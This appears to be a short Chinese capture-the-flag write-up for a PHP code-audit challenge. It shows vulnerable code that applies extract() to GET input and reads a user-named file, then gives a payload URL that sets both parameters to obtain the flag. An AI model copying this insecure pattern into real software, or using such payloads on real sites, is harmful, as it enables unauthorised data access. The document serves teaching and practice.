Day29
web8
txt????
本题要点: php代码审计、php://input
打开地址,看到这样的代码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
构造参数
方法二:
<?php
extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); //trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
代码分析得到:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,经尝试发现:flag.txt 内容为:flags
构造payload:
http://
123.206.87.240:8002/web8/?ac=flags&fn=flag.txt